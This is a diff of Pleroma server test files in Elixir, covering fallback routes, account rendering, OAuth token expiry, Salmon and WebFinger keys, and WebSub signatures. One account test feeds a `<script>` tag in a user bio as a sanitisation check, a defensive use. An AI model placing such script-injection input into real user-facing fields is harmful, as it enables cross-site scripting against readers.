	+defmodule Pleroma.Web.FallbackTest do
	+ use Pleroma.Web.ConnCase
	+ import Pleroma.Factory
	+
	+ test "GET /registration/:token", %{conn: conn} do
	+ assert conn
	+ \|> get("/registration/foo")
	+ \|> html_response(200) =~ "<!--server-generated-meta-->"
	+ end
	+
	+ test "GET /:maybe_nickname_or_id", %{conn: conn} do
	+ user = insert(:user)
	+
	+ assert conn
	+ \|> get("/foo")
	+ \|> html_response(200) =~ "<!--server-generated-meta-->"
	+
	+ refute conn
	+ \|> get("/" <> user.nickname)
	+ \|> html_response(200) =~ "<!--server-generated-meta-->"
	+ end
	+
	+ test "GET /api*path", %{conn: conn} do
	+ assert conn
	+ \|> get("/api/foo")
	+ \|> json_response(404) == %{"error" => "Not implemented"}
	+ end
	+
	+ test "GET /*path", %{conn: conn} do
	+ assert conn
	+ \|> get("/foo")
	+ \|> html_response(200) =~ "<!--server-generated-meta-->"
	+
	+ assert conn
	+ \|> get("/foo/bar")
	+ \|> html_response(200) =~ "<!--server-generated-meta-->"
	+ end
	+
	+ test "OPTIONS /*path", %{conn: conn} do
	+ assert conn
	+ \|> options("/foo")
	+ \|> response(204) == ""
	+
	+ assert conn
	+ \|> options("/foo/bar")
	+ \|> response(204) == ""
	+ end
	+end
	diff --git a/test/web/mastodon_api/account_view_test.exs b/test/web/mastodon_api/account_view_test.exs
	index a24f2a050..aaf2261bb 100644
	--- a/test/web/mastodon_api/account_view_test.exs
	+++ b/test/web/mastodon_api/account_view_test.exs
	@@ -1,242 +1,242 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
	use Pleroma.DataCase
	import Pleroma.Factory
	alias Pleroma.User
	alias Pleroma.Web.MastodonAPI.AccountView

	test "Represent a user account" do
	source_data = %{
	"tag" => [
	%{
	"type" => "Emoji",
	"icon" => %{"url" => "/file.png"},
	"name" => ":karjalanpiirakka:"
	}
	]
	}

	user =
	insert(:user, %{
	info: %{note_count: 5, follower_count: 3, source_data: source_data},
	nickname: "shp@shitposter.club",
	name: ":karjalanpiirakka: shp",
	bio: "<script src=\"invalid-html\"></script><span>valid html</span>",
	inserted_at: ~N[2017-08-15 15:47:06.597036]
	})

	expected = %{
	id: to_string(user.id),
	username: "shp",
	acct: user.nickname,
	display_name: user.name,
	locked: false,
	created_at: "2017-08-15T15:47:06.000Z",
	followers_count: 3,
	following_count: 0,
	statuses_count: 5,
	note: "<span>valid html</span>",
	url: user.ap_id,
	avatar: "http://localhost:4001/images/avi.png",
	avatar_static: "http://localhost:4001/images/avi.png",
	header: "http://localhost:4001/images/banner.png",
	header_static: "http://localhost:4001/images/banner.png",
	emojis: [
	%{
	"static_url" => "/file.png",
	"url" => "/file.png",
	"shortcode" => "karjalanpiirakka",
	"visible_in_picker" => false
	}
	],
	fields: [],
	bot: false,
	source: %{
	- note: "",
	+ note: "valid html",
	sensitive: false,
	pleroma: %{}
	},
	pleroma: %{
	confirmation_pending: false,
	tags: [],
	is_admin: false,
	is_moderator: false,
	hide_favorites: true,
	hide_followers: false,
	hide_follows: false,
	relationship: %{}
	}
	}

	assert expected == AccountView.render("account.json", %{user: user})
	end

	test "Represent the user account for the account owner" do
	user = insert(:user)

	notification_settings = %{
	"remote" => true,
	"local" => true,
	"followers" => true,
	"follows" => true
	}

	privacy = user.info.default_scope

	assert %{
	pleroma: %{notification_settings: ^notification_settings},
	source: %{privacy: ^privacy}
	} = AccountView.render("account.json", %{user: user, for: user})
	end

	test "Represent a Service(bot) account" do
	user =
	insert(:user, %{
	info: %{note_count: 5, follower_count: 3, source_data: %{"type" => "Service"}},
	nickname: "shp@shitposter.club",
	inserted_at: ~N[2017-08-15 15:47:06.597036]
	})

	expected = %{
	id: to_string(user.id),
	username: "shp",
	acct: user.nickname,
	display_name: user.name,
	locked: false,
	created_at: "2017-08-15T15:47:06.000Z",
	followers_count: 3,
	following_count: 0,
	statuses_count: 5,
	note: user.bio,
	url: user.ap_id,
	avatar: "http://localhost:4001/images/avi.png",
	avatar_static: "http://localhost:4001/images/avi.png",
	header: "http://localhost:4001/images/banner.png",
	header_static: "http://localhost:4001/images/banner.png",
	emojis: [],
	fields: [],
	bot: true,
	source: %{
	- note: "",
	+ note: user.bio,
	sensitive: false,
	pleroma: %{}
	},
	pleroma: %{
	confirmation_pending: false,
	tags: [],
	is_admin: false,
	is_moderator: false,
	hide_favorites: true,
	hide_followers: false,
	hide_follows: false,
	relationship: %{}
	}
	}

	assert expected == AccountView.render("account.json", %{user: user})
	end

	test "Represent a smaller mention" do
	user = insert(:user)

	expected = %{
	id: to_string(user.id),
	acct: user.nickname,
	username: user.nickname,
	url: user.ap_id
	}

	assert expected == AccountView.render("mention.json", %{user: user})
	end

	test "represent a relationship" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, user} = User.follow(user, other_user)
	{:ok, user} = User.block(user, other_user)

	expected = %{
	id: to_string(other_user.id),
	following: false,
	followed_by: false,
	blocking: true,
	muting: false,
	muting_notifications: false,
	subscribing: false,
	requested: false,
	domain_blocking: false,
	showing_reblogs: true,
	endorsed: false
	}

	assert expected == AccountView.render("relationship.json", %{user: user, target: other_user})
	end

	test "represent an embedded relationship" do
	user =
	insert(:user, %{
	info: %{note_count: 5, follower_count: 0, source_data: %{"type" => "Service"}},
	nickname: "shp@shitposter.club",
	inserted_at: ~N[2017-08-15 15:47:06.597036]
	})

	other_user = insert(:user)
	{:ok, other_user} = User.follow(other_user, user)
	{:ok, other_user} = User.block(other_user, user)
	{:ok, _} = User.follow(insert(:user), user)

	expected = %{
	id: to_string(user.id),
	username: "shp",
	acct: user.nickname,
	display_name: user.name,
	locked: false,
	created_at: "2017-08-15T15:47:06.000Z",
	followers_count: 1,
	following_count: 0,
	statuses_count: 5,
	note: user.bio,
	url: user.ap_id,
	avatar: "http://localhost:4001/images/avi.png",
	avatar_static: "http://localhost:4001/images/avi.png",
	header: "http://localhost:4001/images/banner.png",
	header_static: "http://localhost:4001/images/banner.png",
	emojis: [],
	fields: [],
	bot: true,
	source: %{
	- note: "",
	+ note: user.bio,
	sensitive: false,
	pleroma: %{}
	},
	pleroma: %{
	confirmation_pending: false,
	tags: [],
	is_admin: false,
	is_moderator: false,
	hide_favorites: true,
	hide_followers: false,
	hide_follows: false,
	relationship: %{
	id: to_string(user.id),
	following: false,
	followed_by: false,
	blocking: true,
	subscribing: false,
	muting: false,
	muting_notifications: false,
	requested: false,
	domain_blocking: false,
	showing_reblogs: true,
	endorsed: false
	}
	}
	}

	assert expected == AccountView.render("account.json", %{user: user, for: other_user})
	end
	end
	diff --git a/test/web/mongooseim/mongoose_im_controller_test.exs b/test/web/mongooseim/mongoose_im_controller_test.exs
	new file mode 100644
	index 000000000..eb83999bb
	--- /dev/null
	+++ b/test/web/mongooseim/mongoose_im_controller_test.exs
	@@ -0,0 +1,59 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Web.MongooseIMController do
	+ use Pleroma.Web.ConnCase
	+ import Pleroma.Factory
	+
	+ test "/user_exists", %{conn: conn} do
	+ _user = insert(:user, nickname: "lain")
	+ _remote_user = insert(:user, nickname: "alice", local: false)
	+
	+ res =
	+ conn
	+ \|> get(mongoose_im_path(conn, :user_exists), user: "lain")
	+ \|> json_response(200)
	+
	+ assert res == true
	+
	+ res =
	+ conn
	+ \|> get(mongoose_im_path(conn, :user_exists), user: "alice")
	+ \|> json_response(404)
	+
	+ assert res == false
	+
	+ res =
	+ conn
	+ \|> get(mongoose_im_path(conn, :user_exists), user: "bob")
	+ \|> json_response(404)
	+
	+ assert res == false
	+ end
	+
	+ test "/check_password", %{conn: conn} do
	+ user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt("cool"))
	+
	+ res =
	+ conn
	+ \|> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "cool")
	+ \|> json_response(200)
	+
	+ assert res == true
	+
	+ res =
	+ conn
	+ \|> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "uncool")
	+ \|> json_response(403)
	+
	+ assert res == false
	+
	+ res =
	+ conn
	+ \|> get(mongoose_im_path(conn, :check_password), user: "nobody", pass: "cool")
	+ \|> json_response(404)
	+
	+ assert res == false
	+ end
	+end
	diff --git a/test/web/node_info_test.exs b/test/web/node_info_test.exs
	index 2fc42b7cc..be1173513 100644
	--- a/test/web/node_info_test.exs
	+++ b/test/web/node_info_test.exs
	@@ -1,134 +1,86 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.NodeInfoTest do
	use Pleroma.Web.ConnCase

	import Pleroma.Factory

	+ test "GET /.well-known/nodeinfo", %{conn: conn} do
	+ links =
	+ conn
	+ \|> get("/.well-known/nodeinfo")
	+ \|> json_response(200)
	+ \|> Map.fetch!("links")
	+
	+ Enum.each(links, fn link ->
	+ href = Map.fetch!(link, "href")
	+
	+ conn
	+ \|> get(href)
	+ \|> json_response(200)
	+ end)
	+ end
	+
	test "nodeinfo shows staff accounts", %{conn: conn} do
	moderator = insert(:user, %{local: true, info: %{is_moderator: true}})
	admin = insert(:user, %{local: true, info: %{is_admin: true}})

	conn =
	conn
	\|> get("/nodeinfo/2.1.json")

	assert result = json_response(conn, 200)

	assert moderator.ap_id in result["metadata"]["staffAccounts"]
	assert admin.ap_id in result["metadata"]["staffAccounts"]
	end

	test "nodeinfo shows restricted nicknames", %{conn: conn} do
	conn =
	conn
	\|> get("/nodeinfo/2.1.json")

	assert result = json_response(conn, 200)

	assert Pleroma.Config.get([Pleroma.User, :restricted_nicknames]) ==
	result["metadata"]["restrictedNicknames"]
	end

	- test "returns 404 when federation is disabled", %{conn: conn} do
	- instance =
	- Application.get_env(:pleroma, :instance)
	- \|> Keyword.put(:federating, false)
	-
	- Application.put_env(:pleroma, :instance, instance)
	-
	- conn
	- \|> get("/.well-known/nodeinfo")
	- \|> json_response(404)
	-
	- conn
	- \|> get("/nodeinfo/2.1.json")
	- \|> json_response(404)
	-
	- instance =
	- Application.get_env(:pleroma, :instance)
	- \|> Keyword.put(:federating, true)
	-
	- Application.put_env(:pleroma, :instance, instance)
	- end
	-
	- test "returns 200 when federation is enabled", %{conn: conn} do
	- conn
	- \|> get("/.well-known/nodeinfo")
	- \|> json_response(200)
	-
	- conn
	- \|> get("/nodeinfo/2.1.json")
	- \|> json_response(200)
	- end
	-
	- test "returns 404 when federation is disabled (nodeinfo 2.0)", %{conn: conn} do
	- instance =
	- Application.get_env(:pleroma, :instance)
	- \|> Keyword.put(:federating, false)
	-
	- Application.put_env(:pleroma, :instance, instance)
	-
	- conn
	- \|> get("/.well-known/nodeinfo")
	- \|> json_response(404)
	-
	- conn
	- \|> get("/nodeinfo/2.0.json")
	- \|> json_response(404)
	-
	- instance =
	- Application.get_env(:pleroma, :instance)
	- \|> Keyword.put(:federating, true)
	-
	- Application.put_env(:pleroma, :instance, instance)
	- end
	-
	- test "returns 200 when federation is enabled (nodeinfo 2.0)", %{conn: conn} do
	- conn
	- \|> get("/.well-known/nodeinfo")
	- \|> json_response(200)
	-
	- conn
	- \|> get("/nodeinfo/2.0.json")
	- \|> json_response(200)
	- end
	-
	test "returns software.repository field in nodeinfo 2.1", %{conn: conn} do
	conn
	\|> get("/.well-known/nodeinfo")
	\|> json_response(200)

	conn =
	conn
	\|> get("/nodeinfo/2.1.json")

	assert result = json_response(conn, 200)
	assert Pleroma.Application.repository() == result["software"]["repository"]
	end

	test "it returns the safe_dm_mentions feature if enabled", %{conn: conn} do
	option = Pleroma.Config.get([:instance, :safe_dm_mentions])
	Pleroma.Config.put([:instance, :safe_dm_mentions], true)

	response =
	conn
	\|> get("/nodeinfo/2.1.json")
	\|> json_response(:ok)

	assert "safe_dm_mentions" in response["metadata"]["features"]

	Pleroma.Config.put([:instance, :safe_dm_mentions], false)

	response =
	conn
	\|> get("/nodeinfo/2.1.json")
	\|> json_response(:ok)

	refute "safe_dm_mentions" in response["metadata"]["features"]

	Pleroma.Config.put([:instance, :safe_dm_mentions], option)
	end
	end
	diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs
	index ad2a49f09..3c07309b7 100644
	--- a/test/web/oauth/token_test.exs
	+++ b/test/web/oauth/token_test.exs
	@@ -1,72 +1,85 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.TokenTest do
	use Pleroma.DataCase
	alias Pleroma.Repo
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.Token

	import Pleroma.Factory

	test "exchanges a auth token for an access token, preserving `scopes`" do
	{:ok, app} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client",
	scopes: ["read", "write"],
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user, ["read"])
	assert auth.scopes == ["read"]

	{:ok, token} = Token.exchange_token(app, auth)

	assert token.app_id == app.id
	assert token.user_id == user.id
	assert token.scopes == auth.scopes
	assert String.length(token.token) > 10
	assert String.length(token.refresh_token) > 10

	auth = Repo.get(Authorization, auth.id)
	{:error, "already used"} = Token.exchange_token(app, auth)
	end

	test "deletes all tokens of a user" do
	{:ok, app1} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client1",
	scopes: ["scope"],
	redirect_uris: "url"
	})
	)

	{:ok, app2} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client2",
	scopes: ["scope"],
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth1} = Authorization.create_authorization(app1, user)
	{:ok, auth2} = Authorization.create_authorization(app2, user)

	{:ok, _token1} = Token.exchange_token(app1, auth1)
	{:ok, _token2} = Token.exchange_token(app2, auth2)

	{tokens, _} = Token.delete_user_tokens(user)

	assert tokens == 2
	end
	+
	+ test "deletes expired tokens" do
	+ insert(:oauth_token, valid_until: Timex.shift(Timex.now(), days: -3))
	+ insert(:oauth_token, valid_until: Timex.shift(Timex.now(), days: -3))
	+ t3 = insert(:oauth_token)
	+ t4 = insert(:oauth_token, valid_until: Timex.shift(Timex.now(), minutes: 10))
	+ {tokens, _} = Token.delete_expired_tokens()
	+ assert tokens == 2
	+ available_tokens = Pleroma.Repo.all(Token)
	+
	+ token_ids = available_tokens \|> Enum.map(& &1.id)
	+ assert token_ids == [t3.id, t4.id]
	+ end
	end
	diff --git a/test/web/salmon/salmon_test.exs b/test/web/salmon/salmon_test.exs
	index 232082779..e86e76fe9 100644
	--- a/test/web/salmon/salmon_test.exs
	+++ b/test/web/salmon/salmon_test.exs
	@@ -1,114 +1,101 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Salmon.SalmonTest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	+ alias Pleroma.Keys
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.Federator.Publisher
	alias Pleroma.Web.Salmon
	import Mock
	import Pleroma.Factory

	@magickey "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwQhh-1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"

	@wrong_magickey "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwQhh-1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAA"

	@magickey_friendica "RSA.AMwa8FUs2fWEjX0xN7yRQgegQffhBpuKNC6fa5VNSVorFjGZhRrlPMn7TQOeihlc9lBz2OsHlIedbYn2uJ7yCs0.AQAB"

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "decodes a salmon" do
	{:ok, salmon} = File.read("test/fixtures/salmon.xml")
	{:ok, doc} = Salmon.decode_and_validate(@magickey, salmon)
	assert Regex.match?(~r/xml/, doc)
	end

	test "errors on wrong magic key" do
	{:ok, salmon} = File.read("test/fixtures/salmon.xml")
	assert Salmon.decode_and_validate(@wrong_magickey, salmon) == :error
	end

	- test "generates an RSA private key pem" do
	- {:ok, key} = Salmon.generate_rsa_pem()
	- assert is_binary(key)
	- assert Regex.match?(~r/RSA/, key)
	- end
	-
	test "it encodes a magic key from a public key" do
	key = Salmon.decode_key(@magickey)
	magic_key = Salmon.encode_key(key)

	assert @magickey == magic_key
	end

	test "it decodes a friendica public key" do
	_key = Salmon.decode_key(@magickey_friendica)
	end

	- test "returns a public and private key from a pem" do
	- pem = File.read!("test/fixtures/private_key.pem")
	- {:ok, private, public} = Salmon.keys_from_pem(pem)
	-
	- assert elem(private, 0) == :RSAPrivateKey
	- assert elem(public, 0) == :RSAPublicKey
	- end
	-
	test "encodes an xml payload with a private key" do
	doc = File.read!("test/fixtures/incoming_note_activity.xml")
	pem = File.read!("test/fixtures/private_key.pem")
	- {:ok, private, public} = Salmon.keys_from_pem(pem)
	+ {:ok, private, public} = Keys.keys_from_pem(pem)

	# Let's try a roundtrip.
	{:ok, salmon} = Salmon.encode(private, doc)
	{:ok, decoded_doc} = Salmon.decode_and_validate(Salmon.encode_key(public), salmon)

	assert doc == decoded_doc
	end

	test "it gets a magic key" do
	salmon = File.read!("test/fixtures/salmon2.xml")
	{:ok, key} = Salmon.fetch_magic_key(salmon)

	assert key ==
	"RSA.uzg6r1peZU0vXGADWxGJ0PE34WvmhjUmydbX5YYdOiXfODVLwCMi1umGoqUDm-mRu4vNEdFBVJU1CpFA7dKzWgIsqsa501i2XqElmEveXRLvNRWFB6nG03Q5OUY2as8eE54BJm0p20GkMfIJGwP6TSFb-ICp3QjzbatuSPJ6xCE=.AQAB"
	end

	test_with_mock "it pushes an activity to remote accounts it's addressed to",
	Publisher,
	[:passthrough],
	[] do
	user_data = %{
	info: %{
	salmon: "http://test-example.org/salmon"
	},
	local: false
	}

	mentioned_user = insert(:user, user_data)
	note = insert(:note)

	activity_data = %{
	"id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
	"type" => "Create",
	"actor" => note.data["actor"],
	"to" => note.data["to"] ++ [mentioned_user.ap_id],
	"object" => note.data,
	"published_at" => DateTime.utc_now() \|> DateTime.to_iso8601(),
	"context" => note.data["context"]
	}

	{:ok, activity} = Repo.insert(%Activity{data: activity_data, recipients: activity_data["to"]})
	user = User.get_cached_by_ap_id(activity.data["actor"])
	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	Salmon.publish(user, activity)

	assert called(Publisher.enqueue_one(Salmon, %{recipient: mentioned_user}))
	end
	end
	diff --git a/test/web/web_finger/web_finger_test.exs b/test/web/web_finger/web_finger_test.exs
	index 6b20d8d56..335c95b18 100644
	--- a/test/web/web_finger/web_finger_test.exs
	+++ b/test/web/web_finger/web_finger_test.exs
	@@ -1,123 +1,108 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.WebFingerTest do
	use Pleroma.DataCase
	alias Pleroma.Web.WebFinger
	import Pleroma.Factory
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "host meta" do
	test "returns a link to the xml lrdd" do
	host_info = WebFinger.host_meta()

	assert String.contains?(host_info, Pleroma.Web.base_url())
	end
	end

	describe "incoming webfinger request" do
	test "works for fqns" do
	user = insert(:user)

	{:ok, result} =
	WebFinger.webfinger("#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", "XML")

	assert is_binary(result)
	end

	test "works for ap_ids" do
	user = insert(:user)

	{:ok, result} = WebFinger.webfinger(user.ap_id, "XML")
	assert is_binary(result)
	end
	end

	describe "fingering" do
	test "returns the info for an OStatus user" do
	user = "shp@social.heldscal.la"

	{:ok, data} = WebFinger.finger(user)

	assert data["magic_key"] ==
	"RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB"

	assert data["topic"] == "https://social.heldscal.la/api/statuses/user_timeline/29191.atom"
	assert data["subject"] == "acct:shp@social.heldscal.la"
	assert data["salmon"] == "https://social.heldscal.la/main/salmon/user/29191"
	end

	test "returns the ActivityPub actor URI for an ActivityPub user" do
	user = "framasoft@framatube.org"

	{:ok, _data} = WebFinger.finger(user)
	end

	test "returns the ActivityPub actor URI for an ActivityPub user with the ld+json mimetype" do
	user = "kaniini@gerzilla.de"

	{:ok, data} = WebFinger.finger(user)

	assert data["ap_id"] == "https://gerzilla.de/channel/kaniini"
	end

	test "returns the correctly for json ostatus users" do
	user = "winterdienst@gnusocial.de"

	{:ok, data} = WebFinger.finger(user)

	assert data["magic_key"] ==
	"RSA.qfYaxztz7ZELrE4v5WpJrPM99SKI3iv9Y3Tw6nfLGk-4CRljNYqV8IYX2FXjeucC_DKhPNnlF6fXyASpcSmA_qupX9WC66eVhFhZ5OuyBOeLvJ1C4x7Hi7Di8MNBxY3VdQuQR0tTaS_YAZCwASKp7H6XEid3EJpGt0EQZoNzRd8=.AQAB"

	assert data["topic"] == "https://gnusocial.de/api/statuses/user_timeline/249296.atom"
	assert data["subject"] == "acct:winterdienst@gnusocial.de"
	assert data["salmon"] == "https://gnusocial.de/main/salmon/user/249296"
	assert data["subscribe_address"] == "https://gnusocial.de/main/ostatussub?profile={uri}"
	end

	test "it works for friendica" do
	user = "lain@squeet.me"

	{:ok, _data} = WebFinger.finger(user)
	end

	test "it gets the xrd endpoint" do
	{:ok, template} = WebFinger.find_lrdd_template("social.heldscal.la")

	assert template == "https://social.heldscal.la/.well-known/webfinger?resource={uri}"
	end

	test "it gets the xrd endpoint for hubzilla" do
	{:ok, template} = WebFinger.find_lrdd_template("macgirvin.com")

	assert template == "https://macgirvin.com/xrd/?uri={uri}"
	end

	test "it gets the xrd endpoint for statusnet" do
	{:ok, template} = WebFinger.find_lrdd_template("status.alpicola.com")

	assert template == "http://status.alpicola.com/main/xrd?uri={uri}"
	end
	end
	-
	- describe "ensure_keys_present" do
	- test "it creates keys for a user and stores them in info" do
	- user = insert(:user)
	- refute is_binary(user.info.keys)
	- {:ok, user} = WebFinger.ensure_keys_present(user)
	- assert is_binary(user.info.keys)
	- end
	-
	- test "it doesn't create keys if there already are some" do
	- user = insert(:user, %{info: %{keys: "xxx"}})
	- {:ok, user} = WebFinger.ensure_keys_present(user)
	- assert user.info.keys == "xxx"
	- end
	- end
	end
	diff --git a/test/web/websub/websub_controller_test.exs b/test/web/websub/websub_controller_test.exs
	index 1e69ed01a..f79745d58 100644
	--- a/test/web/websub/websub_controller_test.exs
	+++ b/test/web/websub/websub_controller_test.exs
	@@ -1,87 +1,82 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Websub.WebsubControllerTest do
	use Pleroma.Web.ConnCase
	import Pleroma.Factory
	- alias Pleroma.Activity
	alias Pleroma.Repo
	alias Pleroma.Web.Websub
	alias Pleroma.Web.Websub.WebsubClientSubscription

	test "websub subscription request", %{conn: conn} do
	user = insert(:user)

	path = Pleroma.Web.OStatus.pubsub_path(user)

	data = %{
	"hub.callback": "http://example.org/sub",
	"hub.mode": "subscribe",
	"hub.topic": Pleroma.Web.OStatus.feed_path(user),
	"hub.secret": "a random secret",
	"hub.lease_seconds": "100"
	}

	conn =
	conn
	\|> post(path, data)

	assert response(conn, 202) == "Accepted"
	end

	test "websub subscription confirmation", %{conn: conn} do
	websub = insert(:websub_client_subscription)

	params = %{
	"hub.mode" => "subscribe",
	"hub.topic" => websub.topic,
	"hub.challenge" => "some challenge",
	"hub.lease_seconds" => "100"
	}

	conn =
	conn
	\|> get("/push/subscriptions/#{websub.id}", params)

	websub = Repo.get(WebsubClientSubscription, websub.id)

	assert response(conn, 200) == "some challenge"
	assert websub.state == "accepted"
	assert_in_delta NaiveDateTime.diff(websub.valid_until, NaiveDateTime.utc_now()), 100, 5
	end

	describe "websub_incoming" do
	- test "handles incoming feed updates", %{conn: conn} do
	+ test "accepts incoming feed updates", %{conn: conn} do
	websub = insert(:websub_client_subscription)
	doc = "some stuff"
	signature = Websub.sign(websub.secret, doc)

	conn =
	conn
	\|> put_req_header("x-hub-signature", "sha1=" <> signature)
	\|> put_req_header("content-type", "application/atom+xml")
	\|> post("/push/subscriptions/#{websub.id}", doc)

	assert response(conn, 200) == "OK"
	-
	- assert length(Repo.all(Activity)) == 1
	end

	test "rejects incoming feed updates with the wrong signature", %{conn: conn} do
	websub = insert(:websub_client_subscription)
	doc = "some stuff"
	signature = Websub.sign("wrong secret", doc)

	conn =
	conn
	\|> put_req_header("x-hub-signature", "sha1=" <> signature)
	\|> put_req_header("content-type", "application/atom+xml")
	\|> post("/push/subscriptions/#{websub.id}", doc)

	assert response(conn, 500) == "Error"
	-
	- assert Enum.empty?(Repo.all(Activity))
	end
	end
	end

File Metadata

Mime Type: text/x-diff
Expires: Sat, Aug 8, 1:17 PM (1 d, 15 h)
Storage Engine: blob
Storage Format: Raw Data
Storage Handle: 1723497
Default Alt Text: (614 KB)

No OneTemporaryActions

View Options

File Metadata

Event Timeline

No OneTemporary
Actions